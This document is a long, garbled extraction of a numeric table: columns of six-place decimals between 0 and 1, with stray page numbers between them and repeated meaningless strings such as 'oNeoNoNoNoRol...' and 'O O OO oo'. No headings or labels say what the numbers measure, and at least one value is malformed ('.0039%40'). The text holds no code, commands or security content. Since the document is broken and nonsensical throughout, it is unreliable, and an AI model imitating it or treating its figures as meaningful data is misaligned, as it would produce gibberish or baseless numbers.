.000015
.000075
.000000
.000000
.000000
.000000

.046898
.462441
.490618
.000007
.005912
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000006
.000000
.000003
.000001
.000010
.000045
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

O O OO OO o oo

locNeoNoNoNoRololoNoNoNoNoNoloRolNoNoNolNoNoloNolololoNoNoNoNolNololololNoNolNolNoNolNol o]

.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000011
.004283
.000001
.000000
.000007
.000001
.000003
.000004
.000002
.000001
.000001
.000003
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

O O OO OO o oo

lcNeoNoNoNoRoRololNoNoNoNoNoloRolNoNoNoNoNoloNolololoNoNoNoNoNololololNoNolNolNolNolNol o]

.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000014
.003665
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000003
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
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oNoNoNoNoNoNeoRolNoBolNoNoNoNolNoNolNoNoloNoloNoBolNoloNoNolNolNoloNoloNololNololNololeololNolNolNe]

O O OO OO OoOooo

.476360
.463826
.059743
.962589
.002031
.016544
.000005
.000002
.000003
.000001
.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000040
.000001
.000012
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

41

.476433
.463824
.059717
.973362
.002326
.006717
.000005
.000002
.000003
.000001

oNeoNoNoNoNoNoRolNoBoNoNoNoNoNoNolNoNololNoloNololNoloNoNolNolNoloNoloNololNololNololeololNolNolNe]

O O OO OO OooOooo

.001886
.996000
.002117
.000004
.002241
.000086
.000011
.000004
.000008
.000004
.000003
.000001
.000000
.000001
.000004
.000007
.000011
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001888
.995995
.002117
.000004
.001995
.000086
.000011
.000004
.000008
.000004

oNoNoBoNoNoNeoRolNohoNoNoNoNolNoNolNoNoloNoloNoBolNoloNoNolNolNoloNoloNololNololNololeololNolNolNe]

O O OO OO OooOooo

.046913
.462470
.490587
.000007
.009814
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000007
.000000
.000003
.000001
.000010
.000045
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046911
.462501
.490512
.000007
.001926
.000001
.000000
.000002
.000001
.000000

oNoNeoBoNoNoNeoRolNoBoNoloNoNolNoNolNoNoloNolNoNololNoloNoloNolNoNoNololNololNololNololNeolo)

O O OO o oo

.000010
.001564
.000001
.000000
.000007
.000001
.000003
.000004
.000002
.000001
.000001
.000003
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.002651
.004510
.000001
.000000
.000007
.000001
.000003

oNoNeoNoNoNoNeoRolNoBoNololNoNolNoNolNoNoloNoloNoloNoloNoloNoNolNoNololNololNololNololNeollo)

O O OO o oo

.004822
.000031
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000003
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.002612
.003543
.000001
.000000
.000000
.000002
.000000
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ocNeoleoBoNoNoNoNoNoNoNoloBolNoNoNoNoNoloBoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNoNoNoNoNolololololNoNolNolNolNo]

.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000040
.000001
.000012
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

42

.476429
.463854
.059700
.973062
.005238
.011689
.000005
.000002
.000003
.000001
.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000041
.000001
.000011

ocNeoloBoNoNoNoNoNoNoNoloBolNoNoNoNoNolNoBololNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNolNoNoNoNolololololNoNolNolNolNo]

.000003
.000001
.000000
.000001
.000004
.000007
.000011
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001890
.995993
.002113
.000004
.002206
.000087
.000012
.000004
.000008
.000004
.000003
.000001
.000000
.000001
.000004
.000008
.000011
.000000
.000000
.000000

ocNeoleoBoNoNoNoNoNoNoBoloBolNoNoNoNoNolNoBoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNolNoNoNoNolololololNoNolNolNolNo]

.000000
.000002
.000002
.000007
.000000
.000003
.000001
.000010
.000045
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046916
.462572
.490476
.000007
.000030
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000007
.000000
.000003
.000001
.000010
.000046
.000000

ocNeoleoBoNoNoNoNoNoNoNoloBolNoNoNoNoNolNoBoloNoNoNoNoNoNololololNolNolNo

eoNeoNoNoloRololNoNoNoNolNoNolololNolNo

.000004
.000002
.000001
.000001
.000003
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000014
.004470
.000001
.000000
.000007
.000001
.000003
.000004
.000002
.000001
.000001
.000003
.000000
.000000
.000001
.000000
.000001

ocNeoloBoNoNoNoNoNoNoBoloBolNoNoNoNoNololNoloNoNoNoNoNoNololololNolNolNo

eoNeoNoNoloRololNoNoNoNolNoNolololNolNo

.000000
.000002
.000000
.000001
.000000
.000003
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.002898
.000031
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000003
.000005
.000000
.000000
.000000
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oNoNeoNoNeoNoNeoRolNoholNololNoNololNolNolNololNololNello]

[eNoNeoNoNoNoNoNolohoBoNoloNoloNololNolNolNolNoNolNoNolololNololNolo]

.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

43

.476420
.463880
.059679
.981415
.000029
.006168
.000005
.000002
.000003
.000001
.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000041
.000001
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001

oNoNeoNoNeoNoNeoRolNoholNolNolNoNoloNolNolNololNololNello]

[eNoNeoNoNoNoNoNolohoBoNoloNoloNololNolNoNolNoNolNolNolololololNolo]

.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001889
.995997
.002107
.000004
.000030
.000088
.000012
.000004
.000008
.000005
.000003
.000001
.000000
.000001
.000004
.000008
.000011
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007

oNoNeoNoNeoNoNeoRolNoholNolNoloNoloNolNolNololNololNello]

[eNoNeoNoNoNoNolNolohoBoNoloNoloNololNolNoNolNoNoNolNolololololNolNo]

.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046914
.462610
.490447
.000007
.000030
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000007
.000000
.000003
.000001
.000010
.000046
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001

oNoNeoNoNeoNoNeoRolNoholNolNolNoNololNolNolNololNololNello]

eoNeoNoNoNoNoNololooNoloNololNololNolNolNolNololNololeololNe]

.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000011
.000021
.000001
.000000
.000007
.000001
.000003
.000004
.000002
.000001
.000001
.000003
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005

oNoNeoNoNeoNoNeoRolNoholNolNolNoNololNolNolNololNololNello)

eoNeoNoNoNoNoNolololoNoloNololNololNolNolNolNololNololeololNe]

.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.005483
.006450
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000003
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001

196



[cNeoNoNolNoNoNoNoNoNolololNe)

locNeoNoNoNoRoNoNoNoNoNoNoNolololoNoNoNoNoloBololNolNoNoNoNoNolololNolNoNoNolNolNolNololNe]

.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

44

.476456
.463865
.059653
.961688
.005859
.017497
.000005
.000002
.000004
.000001
.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000042
.000001
.000012
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019

[cNeoNoNolNoNoNoNoNoNololNolNe)

locNeoNoNoloRolNoNoNoNoNoNoNolololNoNoNoNoNololololNoNoNoNoNoNololololNoNoNolNolNolNololNe]

.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001892
.996001
.002101
.000004
.003555
.000089
.000012
.000004
.000008
.000005
.000003
.000001
.000000
.000001
.000004
.000008
.000011
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000

[cNeoNoNoNoNoNoNoNoNolololNe)

locNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNololololNoNoNoNoNoNololololNoNoNolNolNolNololNe]

.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046910
.462643
.490321
.000008
.001920
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000007
.000000
.000004
.000001
.000010
.000047
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000

[cNeoNoNoNoNoNoNoNoNolololNe)

locNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNoNoNololNololNoNoNoNoNololNolNolNolNolNolNo]

.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.004027
.001816
.000001
.000000
.000008
.000001
.000003
.000004
.000002
.000001
.000001
.000003
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001

[cNeoNoNoNoNoNoNoNoNolololNe)

oNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNoNoBololNololNoNoNoNoNololNolNolNolNolNolNo]

.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000014
.003255
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000003
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
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(@)

.000000
.000000

0.000000

oNeoNeoBoNoNoNeoBolNohololNolNoNoNoNoNoNohoNoloNololNololNoNoloNolNeoNoloNololNoloNololNololNololNol

O O OO oo

45

.476539
.463808
.059585
.969326
.002363
.000148
.000005
.000002
.000004
.000001
.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000042
.000001
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

46

.476713
.463702
.059560
.965882
.009977
.007373

(@)

.000000
.000000

0.000000

oNeoNeoBoNoNoNeoolohololNolNoNolNoNoNolNoloNoloNololNololNoNolNoNolNeoNoloNololNoloNololNeololNololNel

O O O O oo

.001894
.996005
.002107
.000004
.007333
.000090
.000012
.000004
.000008
.000005
.000003
.000001
.000000
.000001
.000004
.000008
.000011
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001914
.995979
.002102
.000004
.005249
.000092

(@)

.000000
.000000

0.000000

oNeoNeoBoNoNoNoBolNohololNolNoNolNoNoNoNoloNoloNololNololNoNoloNolNoNoloNolBolNoloNololNololNololNel

O O OO oo

.046910
.462770
.489986
.010404
.000031
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000007
.000000
.000004
.000001
.000010
.000047
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046955
.463060
.489950
.000008
.0039%40
.000001

oNeoNeoBoNoNoNeoNolNoBolololoNoNoNoNoNoloNoloNolNolNoloNololBoNoNoNololNololNoloNolNolNeolo) (@)

o

.000000
.000000
.000000

.004988
.000022
.000001
.000000
.000008
.000001
.000003
.000004
.000002
.000001
.000001
.000004
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.002145
.005005
.000001

oNoNeoBoNoNoNeoNolNoholololNoNoNoNolNoNohoNoloNolNoNoloNololBolNoNoNoloNololNoloNolNolNolo) (@)

o

.000000
.000000
.000000

.004989
.000032
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000004
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000014
.000033
.000001

198



ecNeoNoBoNoNoNoNoNoNoNoloBololNoNoNoNoNolololNoNoNoNoNoNoNoNololNolNololNolNolNolNo]

oNeoNoNoloRoNolNoNoNoNolNolNolololNe]

.000006
.000002
.000004
.000001
.000004
.000005
.000002
.000007
.000003
.000009
.000000
.000043
.000001
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

47

.476883
.463557
.059511
.981119
.004105
.002140
.000006
.000002
.000004
.000001
.000004
.000005
.000002
.000008
.000003
.000009

ecNeoNololNoNoNoNoNoNoNoloBololNolNoNoNoNolololNoNoNoNoNoNoNoNolololNololNolNolNolNo]

oNoNoNoloRoNolNoNoNoNolNoNolololNe]

.000012
.000004
.000008
.000005
.000003
.000001
.000000
.000001
.000005
.000008
.000012
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001930
.995968
.002103
.000004
.008097
.000094
.000012
.000004
.000008
.000005
.000003
.000001
.000000
.000002
.000005
.000008

ecNeoNoBolNoNoNoNoNoNoNoloBololNoNoNoNoNolololoNoNoNoNoNoNoNolBolNolNololNolNolNolNo]

oNeoNoNoloRoNolNoNoNoNolNoNolololNe]

.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000007
.000000
.000004
.000001
.000011
.000048
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046971
.463080
.490012
.000008
.002155
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000003
.000007
.000000
.000004

ecNeoNololNoNoNoNoNoNoNoloBololNoNoNoNoNolololNoNoNoNoNoNolNoNolololNololNolNolNolNo]

[eNeoNoNoloNolNolNolNolNolNolNolle]

.000000
.000008
.000001
.000003
.000004
.000002
.000002
.000002
.000004
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000013
.001860
.000001
.000000
.000008
.000001
.000003
.000004
.000002
.000002
.000073
.000004
.000000

ecNeoNoloNoNoNoNoNoNoNoloBololNolNoNoNoNolololoNoNoNoNoNoNoNololNoNolNolNolNolNolNo]

[eNeoNoNoloNoNoNoNolNolNolNolle]

.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000015
.000033
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000004
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cNoNeoBoNeoNoNeoNoloholoNoloNolBoNololNololNolNolNolNolololNolNo)

[ecoNoNoNoNoNoNololoBolNololNoBoNololNololNololeoloNololNe]

.000000
.000043
.000001
.000014
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

48

.477363
.463126
.059394
.994304
.000031
.000159
.000006
.000002
.000004
.000001
.000005
.000005
.000002
.000010
.000003
.000010
.000000
.000044
.000001
.000011
.000000
.000000
.000000
.988321
.000998
.006913

cNoNeoBoNeoNoNeoNolNoholoNoloNoBoNololNololNolNolNolNoleololNoelNo)

[choNoNoNoNoNoNolololBolNoloNoBoNoloNololNololeoloNolNolNe]

.000012
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001964
.995933
.002112
.000004
.000032
.000096
.000013
.000004
.000009
.000005
.000003
.000001
.000000
.000002
.000005
.000008
.000012
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208

cNoNeoBoNeoNoNeoNolNoholoNoloNolBoNololNololNolNolNolNolololNolNo)

[cloNoNoNoNoNoNololoBoNololNoBoNoloNololNololNoloNolNolNe]

.000001
.000011
.000049
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046992
.462996
.490164
.000008
.004990
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000003
.000007
.000000
.000004
.000001
.000011
.000050
.000000
.000000
.000000
.000000
.000026
.000796
.000002

cNoNeoBoNeoNoNeoNolNoholoNoloNolBoNololNololNolNoNolNolololNolNo)

eNoNeoNoNoNoNeoNolNohoNoNoloNoloNololNololNololNolNo)

.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000013
.000023
.000001
.000000
.000008
.000001
.000003
.000004
.000002
.000002
.000001
.000004
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001

eNoNeoBoNeoNoNeoNolohololNoloNolBoNololNololNoNoNolNolololNolNo)

[eNoNeoNoNoNoNoNolNohoBoNoloNoloNololNolololoNelNo)

.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000015
.000034
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
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oNeoNololoNoNoNoNoNoNolololololNolNo)

[eNeoNoNoloRolNoNoNoNoNolNoNolololNoNoNoNoNolololNoNolNolNoNoNolololNolNolNoNolNolNo)

.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

49

.478584
.462023
.059199
.979694
.005877
.001100
.000006
.000002
.000004
.000001
.000005
.000005
.000002
.000008
.000003
.000009
.000000
.000045
.000001
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012

oNeoNoNoloNoNoNoNoNoNololNolololNoNo)

[eNeoNoNoloRolNoNoNoNoNoNoNolololNoNoNoNoNoloRolNoNolNolNoNoNolololNolNolNolNolNolNo)

.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.002050
.995839
.002138
.000004
.002420
.000098
.000014
.000004
.000009
.000005
.000003
.000001
.000000
.000001
.000005
.000008
.000012
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011

oNeoNololoNoNoNoNoNoNolololololNoNo)

[eNeoNoNoloRolNoNoNoNoNolNoNolololNoNoNoNoNoloRolNoNolNoNoNolNolololNolNolNoNolNolNo)

.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047077
.462759
.490528
.000008
.002143
.000001
.000000
.000003
.000001
.000000
.000000
.000002
.000003
.000007
.000000
.000004
.000001
.000011
.000051
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005

oNeoNololoNoNoNoNoNoNolololololNolNo

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNololololNolNoNoNolNoNolololNolNe)

.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.001410
.003317
.000001
.000000
.000009
.000001
.000004
.000005
.000002
.000002
.000001
.000004
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000

oNeoNoNoloNoNoNoNoNoNolololololNoNo

eNeoNoNoloRoloNoNoNoNoNoNolololNoNoNoNoNololololNolNoNoNolNoNolololNolNe)

.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000015
.003615
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
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OO OO O oo

eoNoNeoRoNeoNoNooloholoNolBoNolBoNoBolNololNololololNoNoNoNolNoNoloNoloNoloNololNololeoloNololNel

o

.000000
.000064
.000001
.000019
.000000
.000000
.000000

50

.481269
.459532
.058034
.009100
.000033
.206919
.050747
.000002
.040189
.002627
.044943
.039452
.007922
.000008
.000003
.000009
.000000
.000046
.000001
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

51

.488157
.453808

OO OO O oo

eoNoNeoRoNeoNoNololNoholoNoNoNolBoNolBolNololNolololoNeoNolNoNolNoNoloNoloNololNololNololNoloNololNel

o

.000016
.000000
.000000
.000000
.000000
.000000
.000000

.002225
.995637
.017014
.000008
.000034
.000100
.110423
.036520
.082193
.047562
.022845
.000001
.000000
.000002
.000005
.000009
.000013
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.016210
.966776

OO OO O oo

eoNoNeoNoNeoNoNoolNoholoNoNoNolBoNoBolNololNololNoloNeolNoNoNolNoNoloNoloNololNololNololNeoloNololNel

o

.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047354
.462118
.491403
.000010
.000034
.002661
.001586
.003460
.000001
.000000
.000000
.005569
.004766
.000008
.000000
.000004
.003750
.000012
.000053
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046438
.462159

OO OO O oo

oNoNeoNoNeoNoNeololNolololoNoNoloNoloNololNololNoNoNoNoNoloBolNolBoNololNololNololNololNellNeo)

.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000069
.000024
.004365
.000000
.078129
.000001
.030629
.033380
.015573
.022877
.000005
.000006
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

OO OO o oo

oNoNeoBoNeoNoNeoolNolololoNoNolBoNoloNoloNololNoNoNolNoNoloBoNoBoNololNololNololNololNellNe)

.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000016
.067503
.000789
.000000
.000000
.022976
.000000
.000000
.000002
.000000
.000001
.000000
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
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ocNeoNoBolBolNolNoNoNoNoNolNohololoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe

[eNeoNoNolololNolNolNolNolNolNo]

.056896
.997953
.000079
.000537
.000015
.000005
.000010
.000002
.000012
.000012
.000004
.000020
.000008
.000023
.000001
.000113
.000002
.000027
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

52

.478709
.464395
.060207
.009946
.000040
.000194
.000007
.000003
.000005
.000001
.000006
.000006

oNeoNoBoBololNoNoNoNoNolNohololNoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe

[eNeoNoNolololNolNolNolNolNolNo)

.004051
.000010
.000082
.000243
.000032
.000010
.000022
.000013
.000008
.000003
.000000
.000004
.000012
.000021
.000031
.000001
.000001
.000001
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.003912
.992037
.122015
.000923
.000042
.000123
.000016
.000005
.000011
.000006
.000004
.000002

ocNeoNololBololNoNoNoNoNolNohololNoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe

[eNeoNoNolololNolNoNolNolNolNo

.491746
.000019
.000083
.000003
.000001
.000006
.000002
.000001
.000001
.000005
.000007
.000019
.000001
.000010
.000002
.000028
.000129
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046482
.461772
.456274
.000010
.000042
.000001
.000000
.000003
.000001
.000001
.000000
.000003

ocNeoNoRolBoNoNoNoNoNoNolNoBololNoNoNoNolNoNolololoNoNoNoNoNololololNoNoNoNoNolNolololNe

leoNeoNoNoNolRolNolNelNo)

.000027
.000058
.000002
.000001
.000021
.000002
.000009
.000011
.000005
.000004
.000002
.000009
.000001
.000001
.000002
.000000
.000002
.000000
.000000
.000000
.000083
.000449
.000001
